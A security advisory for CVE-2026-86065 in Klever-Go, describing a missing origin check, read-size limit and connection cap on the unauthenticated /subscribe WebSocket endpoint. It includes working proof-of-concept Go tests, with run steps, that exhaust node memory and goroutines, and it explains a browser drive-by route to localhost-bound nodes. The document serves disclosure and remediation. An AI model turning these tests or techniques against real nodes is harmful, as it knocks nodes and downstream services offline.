CVE-2026-86065: Klever-Go: Unauthenticated WebSocket /subscribe: no read-size limit, no connection cap, permissive origin -> remote node memory/goroutine exhaustion (DoS)
Summary The unauthenticated WebSocket endpoint GET /subscribe is registered open: true by default (config/node/api.yaml) and lets a remote, unauthenticated client exhaust the node's memory and goroutines. Because the REST API runs IN-PROCESS with the node — network/api/api.go Start(...) ends with ws.Run(kleverFacade.RestAPIInterface()) — exhausting/killing the API process takes down the entire node, including its P2P and consensus participation. No API key, account, stake, or funds are required.
Three compounding, independently-exploitable gaps stack on this one endpoint:
1. Permissive origin — upgrader.CheckOrigin always returns true (network/api/websocket/routes.go), so any web origin can complete the handshake. 2. No read-size limit — the connection never calls conn.SetReadLimit(...). gorilla's default is UNLIMITED, so a single conn.ReadJSON (processSubscription) or conn.ReadMessage (client.loopIn) can be forced to allocate an arbitrarily large buffer from ONE frame. 3. No connection / fan-out cap — the gin global throttler (simultaneousRequests: 100) releases its slot as soon as handleSubscribe returns, which it does immediately after go processSubscription(conn, hub). Live WebSocket connections are therefore NOT counted by it. There is no per-IP / per-connection / hub-level cap. Each accepted connection spawns 2 goroutines plus a 500-entry buffered channel, and req.Addresses has no length cap, so the hub's addressSubscription map grows 1:1 with attacker-supplied strings.
Affected Component / Code Path Unauthenticated, reachable by default, no recovery on the resource-allocation path:
gin engine (network/api/api.go: Start -> ws.Run, IN-PROCESS with node) -> GET /subscribe network/api/websocket/routes.go:34 (SubscribeTopics) -> handleSubscribe network/api/websocket/routes.go:39 -> upgrader.Upgrade (CheckOrigin == true) network/api/websocket/routes.go:22 <-- GAP #1 -> go processSubscription(conn, hub) network/api/websocket/routes.go:46 (throttler slot freed here) -> conn.ReadJSON(&req) (no SetReadLimit) network/api/websocket/routes.go:57 <-- GAP #2 -> hub.HandleClientInsertion(...) websocket/websocket.go:121 <-- GAP #3 (addresses uncapped) -> websocket.NewClient -> loopIn/loopOut (2 goroutines + 500-buf chan per conn) websocket/client.go:24 -> conn.ReadMessage() (no SetReadLimit, no deadline) websocket/client.go:77 <-- GAP #2
Root-cause excerpts (commit 23b74e1):
network/api/websocket/routes.go go var upgrader = gorilla.Upgrader{ CheckOrigin: func(r http.Request) bool { return true // GAP #1: any origin accepted }, }
func handleSubscribe(c gin.Context, hub websocket.SocketHub) { conn, err := upgrader.Upgrade(c.Writer, c.Request, nil) if err != nil { log.Error(subscribeOp, "err", err.Error()) return } go processSubscription(conn, hub) // returns now -> gin global throttler slot released (GAP #3) }
func processSubscription(conn gorilla.Conn, hub websocket.SocketHub) { // no conn.SetReadLimit(...) anywhere (GAP #2) = conn.SetReadDeadline(time.Now().Add(subscribeReadTimeout)) var req subscribeRequest if err := conn.ReadJSON(&req); err != nil { ... } // unbounded read = conn.SetReadDeadline(time.Time{}) // deadline cleared ... client := websocket.NewClient(conn, hub) hub.HandleClientInsertion(parsedTypes, req.Addresses, client) // req.Addresses uncapped (GAP #3) }
websocket/websocket.go — HandleClientInsertion inserts every address with no length cap: go for , address := range addresses { if , ok := h.addressSubscription[address]; !ok { h.addressSubscription[address] = make(map[client]userOptions) // grows 1:1 with attacker input } ... }
websocket/client.go — loopIn reads with no size limit and no deadline: go for { messageType, message, err := c.conn.ReadMessage() // GAP #2: unbounded, no SetReadLimit ... }
Preconditions - The node's REST API must be reachable by the attacker. Two realistic deployment shapes: - (a) Operator-exposed API — --rest-api-interface :8080 / 0.0.0.0:8080. This is the standard configuration for public RPC and observer infrastructure (the kind Klever itself operates at node.klever.org / api.klever.org). Here the attacker reaches /subscribe directly over the network with no further conditions. - (b) Cross-origin browser drive-by — default bind is localhost:8080 (common/facade/nodeFacade.go DefaultRestInterface = "localhost:8080"). Because CheckOrigin returns true (GAP #1), any website an operator visits can open ws://localhost:8080/subscribe from the victim's browser and drive GAP #2 (single oversized frame) and GAP #3 (many connections) without the API being network-exposed at all. - /subscribe is open: true in the default config/node/api.yaml; isSubscriptionRouteEnabled returns true and the route + hub are wired unconditionally in RegisterRoutes. - /subscribe is NOT listed in endpointsThrottlers (config/node/config.yaml), so it has no per-endpoint goroutine cap. - No authentication, no on-chain account, no stake, no attacker-created asset is required.
Impact (distributed by gap and by blast radius)
This single finding produces several distinct impacts because the three gaps amplify different node resources and reach the node through two different exposure models. They are broken out so the remediation owner can scope each one.
Impact A — Single-frame heap exhaustion (GAP #2, the cleanest primitive) - One unauthenticated connection sends ONE WebSocket frame; with no SetReadLimit, gorilla buffers the entire frame in memory before the JSON is even parsed. Frame size scales the allocation linearly, so one connection can drive a multi-GB allocation. - Observed amplification: an 8 MiB frame grows the server heap by ~32 MiB (~4x) while buffering ONE attacker frame (decode/UTF-8/scratch overhead on top of the raw bytes). - No flood and no rate-limit interaction is needed: the source throttler is a per-IP RATE cap on HTTP handshakes, not a size or memory cap, so a single slow connection streaming one oversized message is not meaningfully throttled. - Result: OOM-kill of the node process from a single connection.
Impact B — Connection / goroutine exhaustion (GAP #3, fan-out) - Live WS connections are not counted by the gin global throttler (its slot is freed at the HTTP→WS upgrade), and there is no per-IP or hub-level connection cap. - Each accepted connection costs 2 goroutines + a 500-entry buffered channel. Connection count grows linearly with attacker effort from a single source, with no ceiling. - Result: goroutine/descriptor/scheduler exhaustion → node slowdown then OOM/crash.
Impact C — Unbounded subscription-map growth (GAP #3, per-connection memory) - req.Addresses is uncapped, and HandleClientInsertion inserts every entry into the hub's addressSubscription map. ONE connection submitting N attacker-controlled address strings grows the map to exactly N entries (1:1), independent of how many real on-chain addresses exist. - Result: heap growth driven purely by attacker-chosen strings on a single connection; combinable with Impact B (many connections × many addresses) for multiplicative memory pressure.
Impact D — Cross-origin reach to localhost-bound nodes (GAP #1, exposure amplifier) - Because CheckOrigin is always true, Impacts A–C are reachable from a victim's browser even when the API is bound to localhost and never exposed to the network. A node operator who simply visits a malicious page can have their own node driven into Impact A/B/C from inside their browser. - Result: the localhost-bind "mitigation" does not hold against a web-drive-by attacker.
Blast-radius note (applies to all of the above) - The REST/WS API runs in the SAME process as the node (ws.Run(...) in network/api/api.go). OOM/kill of the API = loss of P2P + consensus participation for that node, not merely loss of the RPC surface. For a public RPC/observer node this is an availability break for every downstream wallet/explorer/service; repeated across many nodes it degrades overall network availability.
Exploit Cost / Attack Complexity - Cost: negligible. No funds, no stake, no account, no API key. One TCP/WS connection (Impact A) or a modest number of connections (Impact B/C). Impact D needs only that the operator visits a web page. - Complexity: LOW. Unauthenticated, remote, deterministic. The vulnerability is the ABSENCE of caps, so it does not depend on a race or on a specific node version beyond the affected range.
PoC-Result
Two complementary PoCs were executed against the REAL production code at commit 23b74e1. All runs PASS. Sources, scenarios, and run instructions are in PoC-Source below.
Result 1 — Unit PoC: unbounded addressSubscription growth (Impact C) Drives the real SocketHub.HandleClientInsertion (production code, no stub) with one client submitting 200,000 attacker-controlled address strings.
$ go test ./websocket/ -run TestPoCUnboundedAddressSubscriptionGrowth -v === RUN TestPoCUnboundedAddressSubscriptionGrowth zzpocwsunboundedsubscriptiontest.go:46: addressSubscription entries after ONE client submitted 200000 addresses: 200000 zzpocwsunboundedsubscriptiontest.go:50: VULNERABLE: no cap on per-connection address count --- PASS: TestPoCUnboundedAddressSubscriptionGrowth (0.09s) PASS ok github.com/klever-io/klever-go/websocket 0.092s Interpretation: one connection → 200,000 hub map entries (1:1), confirming GAP #3 / Impact C with no cap. Scaling the address count scales the allocation.
Result 2 — End-to-end PoC: all three gaps over a real loopback gin + gorilla WS server (Impacts A, B, D) Runs the REAL network/api/websocket.SubscribeTopics + websocket.NewHub + hub.StartServer behind a gin server on 127.0.0.1, driven by a real gorilla WebSocket client, with a "hardened" A/B control (strict CheckOrigin + SetReadLimit(1 MiB)) to prove each missing control is the cause.
$ go test ./network/api/websocket/ -run TestE2EGap -v === RUN TestE2EGap1EvilOriginAccepted zze2ewsdostest.go:87: GAP#1 CONFIRMED: real /subscribe accepted Origin=https://evil.attacker.example (HTTP 101) zze2ewsdostest.go:94: control: hardened handler rejected evil origin (HTTP 403) as expected --- PASS: TestE2EGap1EvilOriginAccepted (0.00s) === RUN TestE2EGap2NoReadSizeLimit zze2ewsdostest.go:118: control: hardened handler rejected 8388608-byte frame with close 1009 (read limit works) zze2ewsdostest.go:147: GAP#2 CONFIRMED: real /subscribe accepted an 8388608-byte (8 MiB) frame with NO size limit (no close 1009; read err=read tcp ... i/o timeout). Server heap grew ~32 MiB while buffering one attacker frame. --- PASS: TestE2EGap2NoReadSizeLimit (1.43s) === RUN TestE2EGap3NoConnectionCap zze2ewsdostest.go:185: GAP#3 CONFIRMED (conn level): real /subscribe accepted ALL 300 concurrent connections from one client with NO cap (global throttler=100 not enforced on live WS). Server goroutines grew 4 -> 604 (~2 per conn). --- PASS: TestE2EGap3NoConnectionCap (0.43s) PASS ok github.com/klever-io/klever-go/network/api/websocket 1.866s
Interpretation: - GAP #1 (Impact D): the real handler completes the handshake (HTTP 101) for Origin: https://evil.attacker.example; the hardened control returns HTTP 403. → cross-origin drive-by reach, including to localhost-bound nodes. - GAP #2 (Impact A): one unauthenticated connection sends a single 8 MiB frame; the real server buffers it whole (~32 MiB heap, ~4x amplification, NO close 1009). The 1 MiB-capped control rejects it with close 1009. → one connection scales to a multi-GB allocation. - GAP #3 (Impact B): 300 > the configured global cap of 100 simultaneous requests were ALL accepted as live connections; goroutines grew 4 → 604 (~2 per connection). → the global throttler does not bound live WS connections; growth is linear and uncapped.
Production-safety note on the PoC Frame size (8 MiB) and connection count (300) are kept deliberately modest so the test host is not OOM-killed. The vulnerability is the ABSENCE of the read-size / connection / origin controls, which the hardened A/B control proves fixes each gap. Full end-to-end OOM (multi-GB frame / connection flood) is intentionally NOT executed against any production node.
PoC-Source
Two self-contained Go tests reproduce the finding against the unmodified production code. Both use only the repo's own go.mod dependencies (gin + gorilla, already required) and the real network/api/websocket + websocket packages. No external services.
Scenario - PoC 1 (unit, Impact C) targets the hub primitive directly: build one in-process client, call the REAL SocketHub.HandleClientInsertion with 200,000 attacker-controlled address strings, and assert the hub's addressSubscription map grows 1:1 (no cap). This isolates GAP #3 / Impact C with zero network setup. - PoC 2 (end-to-end, Impacts A/B/D) stands up the REAL handler: gin.New() + the production wsapi.SubscribeTopics(engine, hub) + websocket.NewHub(...) + hub.StartServer(ctx) on a 127.0.0.1:0 listener, then drives it with a real gorilla WS client. A "hardened" mirror server (strict CheckOrigin + SetReadLimit(1 MiB)) is the A/B control that proves each missing control is the root cause: - Gap1 test: dial with Origin: https://evil.attacker.example; real accepts (HTTP 101), control rejects (403). - Gap2 test: send one 8 MiB valid subscribe frame; real buffers it (no close 1009, heap grows ~32 MiB), control closes with 1009 (message too big). - Gap3 test: open 300 concurrent connections from one client; real accepts all (goroutines grow ~2/conn), proving the gin global cap of 100 is not enforced on live WS.
How to run 1. git clone https://github.com/klever-io/klever-go && cd klever-go (Go toolchain matching go.mod; verified locally on go1.26.3 at commit 23b74e1.) 2. Save PoC 1 as websocket/pocwsunboundedsubscriptiontest.go and run: go test ./websocket/ -run TestPoCUnboundedAddressSubscriptionGrowth -v 3. Save PoC 2 as network/api/websocket/e2ewsdostest.go and run: go test ./network/api/websocket/ -run TestE2EGap -v (The three TestE2EGap subtests can run together; each starts its own loopback server.) - Production-safety: frame size (8 MiB) and connection count (300) are intentionally small so the runner is not OOM-killed; they demonstrate the missing caps, not a live OOM. Do NOT point these at a production node.
Full PoC source 1 — websocket/pocwsunboundedsubscriptiontest.go go // Target component: klever-go REST/WebSocket API — unauthenticated /subscribe (network/api/websocket, websocket/) // Vulnerability type: Uncontrolled resource consumption (CWE-770) — unauthenticated remote // memory/goroutine exhaustion of the node process via the WS API. // Scope note: The REST API runs IN-PROCESS with the node, so OOM kills the whole node // (P2P + consensus), not a separate sidecar. // // Three compounding gaps on the unauthenticated /subscribe endpoint (open:true by default): // 1) gorilla Upgrader has CheckOrigin -> always true (any origin). // 2) NO conn.SetReadLimit: a single WS frame/JSON can be arbitrarily large -> one message // can force a multi-GB allocation in conn.ReadJSON / ReadMessage. // 3) NO connection cap (per-IP / global / hub-level): the gin global throttler slot is // released right after the HTTP->WS upgrade in handleSubscribe (it returns immediately // after go processSubscription), so live WS connections are NOT counted by the // 100-simultaneous-request cap. Each connection also spawns 2 goroutines + a 500-buffered // channel, and there is no per-connection cap on req.Addresses, so the hub's // addressSubscription map grows 1:1 with attacker-supplied strings. // // This test runtime-confirms gap #3 (unbounded addressSubscription growth). Gaps #1/#2 are // verified by code review (no SetReadLimit / CheckOrigin==true in network/api/websocket/routes.go). // // How to run: cp into websocket/ and go test ./websocket/ -run TestPoCUnboundedAddressSubscriptionGrowth -v package websocket
import ( "fmt" "testing"
"github.com/klever-io/klever-go/indexer" )
func TestPoCUnboundedAddressSubscriptionGrowth(t testing.T) { hub := NewHub("", "", nil) c := &client{hub: hub, out: make(chan interface{}, 10), alive: true, sem: make(chan struct{}, maxWorkers)}
const n = 200000 addresses := make([]string, n) for i := 0; i < n; i++ { addresses[i] = fmt.Sprintf("klv-attacker-addr-%d", i) } hub.HandleClientInsertion([]indexer.EventType{indexer.ACCOUNTS}, addresses, c)
hub.mu.RLock() got := len(hub.addressSubscription) hub.mu.RUnlock()
t.Logf("addressSubscription entries after ONE client submitted %d addresses: %d", n, got) if got != n { t.Fatalf("expected unbounded growth to %d, got %d", n, got) } t.Logf("VULNERABLE: no cap on per-connection address count") }
Full PoC source 2 — network/api/websocket/e2ewsdostest.go go package websockettest
import ( "context" "net" "net/http" "runtime" "strings" "testing" "time"
"github.com/gin-gonic/gin" gorilla "github.com/gorilla/websocket"
wsapi "github.com/klever-io/klever-go/network/api/websocket" hubpkg "github.com/klever-io/klever-go/websocket" )
// ---- vulnerable server: the REAL production handler ---- func startRealSubscribeServer(t testing.T) (string, func()) { t.Helper() gin.SetMode(gin.ReleaseMode) engine := gin.New() hub := hubpkg.NewHub("", "", nil) // facade nil: /subscribe path doesn't use it ctx, cancel := context.WithCancel(context.Background()) go hub.StartServer(ctx) wsapi.SubscribeTopics(engine, hub) // <-- REAL production registration
ln, err := net.Listen("tcp", "127.0.0.1:0") if err != nil { t.Fatal(err) } srv := &http.Server{Handler: engine} go func() { = srv.Serve(ln) }() stop := func() { cancel(); = srv.Close(); = ln.Close() } return ln.Addr().String(), stop }
// ---- hardened mirror: same flow + the missing controls (strict origin + SetReadLimit) ---- func startHardenedSubscribeServer(t testing.T) (string, func()) { t.Helper() gin.SetMode(gin.ReleaseMode) engine := gin.New() up := gorilla.Upgrader{CheckOrigin: func(r http.Request) bool { return r.Header.Get("Origin") == "" // strict: only same/no-origin allowed }} engine.GET("/subscribe", func(c gin.Context) { conn, err := up.Upgrade(c.Writer, c.Request, nil) if err != nil { return } conn.SetReadLimit(1 << 20) // 1 MiB cap (the fix) go func() { defer conn.Close() for { if , , err := conn.ReadMessage(); err != nil { return } } }() }) ln, := net.Listen("tcp", "127.0.0.1:0") srv := &http.Server{Handler: engine} go func() { = srv.Serve(ln) }() return ln.Addr().String(), func() { = srv.Close(); = ln.Close() } }
func bigValidSubscribeJSON(addrBytes int) []byte { // valid subscribe frame: one giant attacker-controlled address string return []byte({"subscribedtypes":["accounts"],"addresses":[" + strings.Repeat("A", addrBytes) + "]}) }
// GAP #1 — permissive origin: real handler accepts an evil Origin; hardened rejects it. func TestE2EGap1EvilOriginAccepted(t testing.T) { realAddr, stopReal := startRealSubscribeServer(t) defer stopReal() hardAddr, stopHard := startHardenedSubscribeServer(t) defer stopHard()
hdr := http.Header{"Origin": []string{"https://evil.attacker.example"}}
cReal, respReal, errReal := gorilla.DefaultDialer.Dial("ws://"+realAddr+"/subscribe", hdr) if errReal != nil { t.Fatalf("REAL handler REJECTED evil origin (status %v) — not vulnerable", respReal) } = cReal.Close() t.Logf("GAP#1 CONFIRMED: real /subscribe accepted Origin=https://evil.attacker.example (HTTP %d)", respReal.StatusCode)
cHard, respHard, errHard := gorilla.DefaultDialer.Dial("ws://"+hardAddr+"/subscribe", hdr) if errHard == nil { = cHard.Close() t.Fatalf("hardened control unexpectedly accepted evil origin") } t.Logf("control: hardened handler rejected evil origin (HTTP %d) as expected", respHard.StatusCode) }
// GAP #2 — no read-size limit: real handler reads a frame far over any sane WS limit; // the hardened control (SetReadLimit 1 MiB) closes the connection with 1009 on the same frame. func TestE2EGap2NoReadSizeLimit(t testing.T) { realAddr, stopReal := startRealSubscribeServer(t) defer stopReal() hardAddr, stopHard := startHardenedSubscribeServer(t) defer stopHard()
const big = 8 << 20 // 8 MiB single frame (>> typical 1 MiB cap; tiny enough not to OOM the runner) frame := bigValidSubscribeJSON(big)
// --- hardened control: must reject (close 1009 "message too big") --- cHard, , err := gorilla.DefaultDialer.Dial("ws://"+hardAddr+"/subscribe", nil) if err != nil { t.Fatalf("dial hardened: %v", err) } = cHard.WriteMessage(gorilla.TextMessage, frame) cHard.SetReadDeadline(time.Now().Add(3 time.Second)) , , errHard := cHard.ReadMessage() = cHard.Close() if ce, ok := errHard.(gorilla.CloseError); ok && ce.Code == gorilla.CloseMessageTooBig { t.Logf("control: hardened handler rejected %d-byte frame with close 1009 (read limit works)", big) } else { t.Logf("control note: hardened returned %v (expected close 1009)", errHard) }
// --- REAL handler: reads the whole 8 MiB frame; connection NOT closed for size --- var m0, m1 runtime.MemStats runtime.GC() runtime.ReadMemStats(&m0)
cReal, , err := gorilla.DefaultDialer.Dial("ws://"+realAddr+"/subscribe", nil) if err != nil { t.Fatalf("dial real: %v", err) } if err := cReal.WriteMessage(gorilla.TextMessage, frame); err != nil { t.Fatalf("write big frame to real: %v", err) } // Give the server time to ReadJSON the full frame + insert the giant address. time.Sleep(400 time.Millisecond) runtime.ReadMemStats(&m1)
// The real handler must NOT have closed us with 1009. Probe with a short read. cReal.SetReadDeadline(time.Now().Add(1 time.Second)) , , rerr := cReal.ReadMessage() = cReal.Close() if ce, ok := rerr.(gorilla.CloseError); ok && ce.Code == gorilla.CloseMessageTooBig { t.Fatalf("REAL handler enforced a read limit (close 1009) — NOT vulnerable") }
t.Logf("GAP#2 CONFIRMED: real /subscribe accepted an %d-byte (8 MiB) frame with NO size limit "+ "(no close 1009; read err=%v). Server heap grew ~%d MiB while buffering one attacker frame.", big, rerr, int64(m1.HeapAlloc-m0.HeapAlloc)/(1<<20))
}
// GAP #3 (connection level) — no per-connection / per-IP / global cap on live WS connections. // Open many concurrent real connections from one client; the real server accepts them all and // spawns 2 goroutines + a 500-buffered channel each (uncounted by the gin global throttler, // whose slot is released right after the HTTP->WS upgrade). Measured via goroutine growth. func TestE2EGap3NoConnectionCap(t testing.T) { realAddr, stopReal := startRealSubscribeServer(t) defer stopReal()
const n = 300 // modest; enough to show no cap without stressing the runner g0 := runtime.NumGoroutine() conns := make([]gorilla.Conn, 0, n) accepted := 0 for i := 0; i < n; i++ { c, , err := gorilla.DefaultDialer.Dial("ws://"+realAddr+"/subscribe", nil) if err != nil { t.Logf("connection %d rejected: %v", i, err) break } // send a valid subscribe so the server promotes it to a live hub client = c.WriteMessage(gorilla.TextMessage, []byte({"subscribedtypes":["blocks"],"addresses":[]})) conns = append(conns, c) accepted++ } time.Sleep(300 time.Millisecond) g1 := runtime.NumGoroutine() for , c := range conns { = c.Close() }
if accepted < n { t.Fatalf("server applied a connection cap at %d (<%d) — would weaken the finding", accepted, n) } t.Logf("GAP#3 CONFIRMED (conn level): real /subscribe accepted ALL %d concurrent connections from one client "+ "with NO cap (global throttler=100 not enforced on live WS). Server goroutines grew %d -> %d (~%d per conn).", accepted, g0, g1, (g1-g0)/n) }
Suggested Fix Address each gap; they are independent and all should be fixed regardless of API binding.
- GAP #2 (read-size) — set an explicit read limit on every accepted WS connection, before any read, in both read paths (processSubscription and client.loopIn): go const maxWSMessageSize = 1 << 20 // 1 MiB; tune to the largest legitimate subscribe payload conn.SetReadLimit(maxWSMessageSize) gorilla then closes oversized frames with close 1009 instead of buffering unbounded memory.
- GAP #3 (connection / fan-out cap): - Cap concurrent WS connections globally and per source IP with a dedicated limiter that is held for the WS lifetime (the gin global throttler cannot do this — its slot is released at the HTTP→WS upgrade). Reject (HTTP 503 / close) beyond the cap. - Bound len(req.Addresses) and the total per-connection subscription count to a sane maximum; reject or truncate beyond it in HandleClientInsertion / processSubscription.
- GAP #1 (origin) — replace CheckOrigin: func(...) bool { return true } with an allowlist driven by config (same-origin and explicitly trusted origins only). This removes the cross-origin drive-by reach to localhost-bound nodes (Impact D).
- Defense-in-depth — keep a read deadline active for the lifetime of the connection (the current code clears it via SetReadDeadline(time.Time{}) after the first read), so an idle/slow connection cannot pin resources indefinitely.
Duplicate Check (vs published advisories) Checked against https://github.com/klever-io/klever-go/security/advisories (3 published): - GHSA-jc6w-wmfc-fh33 / CVE-2026-46403 (Medium) — KVM read-only exec commits delete/upgrade side effects. - GHSA-87m7-qffr-542v / CVE-2026-44697 (High) — MultiDataInterceptor OOM via crafted compressed P2P payload. - GHSA-74m6-4hjp-7226 (High) — MultiDataInterceptor throttler-slot leak on malformed compressed batches.
This finding is NOT a duplicate: - Different component — REST/WebSocket API (network/api/websocket, websocket/), not the P2P interceptor pipeline or the KVM. - Different mechanism — missing WS read-size limit + uncounted live connections + permissive origin (CWE-770/1385), not gzip decompression blow-up, not throttler-slot accounting, not VM read-only isolation. - The advisory texts contain no mention of /subscribe, SetReadLimit, CheckOrigin, addressSubscription, SocketHub, or processSubscription. - The three advisories' fixes ARE present in the reviewed tree (MaxDecompressedBatchSize, ownershipTransferred throttler guard, runtime.ReadOnly() delete/upgrade checks), confirming the tree is at/after v1.7.17, yet the /subscribe gaps remain unpatched at HEAD 23b74e1. - It is adjacent in impact CLASS to 87m7/74m6 (remote DoS), referenced here for context only.
Other sources
Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.20, the default-open GET /subscribe endpoint in network/api/websocket/routes.go accepts unauthenticated WebSocket clients with permissive origin handling, does not call SetReadLimit to bound message size, and has no live-connection cap. SocketHub.HandleClientInsertion also accepts an unbounded address list that grows addressSubscription, and client.loopIn continues reading without a size limit, allowing one client to grow subscription maps or many clients to retain goroutines, buffered channels, and descriptors. The global HTTP request throttler does not count upgraded live WebSocket connections. Because the REST and WebSocket API runs in the node process, memory or scheduler exhaustion can crash the node and interrupt P2P and consensus participation. This issue is fixed in version 1.7.20.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
go/github.com/klever-io/klever-goto a version that resolves this vulnerability.Fixed in 1.7.20 - Upgrade
Upgrade
klever-io/klever-goto a version that resolves this vulnerability.Fixed in 1.7.20 - Configuration
Replace the always-true CheckOrigin function with an allowlist driven by configuration; permit only same-origin and explicitly trusted origins.
Klever-Go WebSocket /subscribe endpoint CheckOrigin = same-origin and explicitly trusted origins only - Configuration
Call SetReadLimit(1 MiB) on every accepted WebSocket connection before any read, including both processSubscription and client.loopIn read paths.
Klever-Go WebSocket connections SetReadLimit = 1 MiB - Configuration
Bound len(req.Addresses) and the total per-connection subscription count; reject or truncate input beyond the limit in HandleClientInsertion/processSubscription.
Klever-Go WebSocket subscriptions per-connection address and subscription limits = sane maximum - Configuration
Cap concurrent live WebSocket connections globally and per source IP with a dedicated limiter that remains held for the full connection lifetime.
Klever-Go live WebSocket connections global and per-source-IP connection cap = dedicated limiter held for the WebSocket lifetime - Configuration
Keep a read deadline active for the entire WebSocket connection lifetime rather than clearing it after the first read.
Klever-Go WebSocket connections read deadline = active for the lifetime of the connection
Event History
Frequently Asked Questions
Are default deployments affected?
Yes. The /subscribe endpoint is registered as open by default in config/node/api.yaml, so it does not require an API key, account, stake, or funds.
What does an attacker need to exploit this?
An attacker only needs network access to the WebSocket endpoint. They can use a direct client or a browser hosted on any origin because the WebSocket origin check always permits the handshake.
Can this affect more than the API service?
Yes. The REST API and WebSocket service run in the same process as the node. Memory or goroutine exhaustion in the API process can take down the node's P2P and consensus participation.
Is a single connection sufficient to cause resource exhaustion?
Potentially, yes. The connection has no read-size limit, and a single WebSocket frame processed through ReadJSON or ReadMessage can force allocation of an arbitrarily large buffer.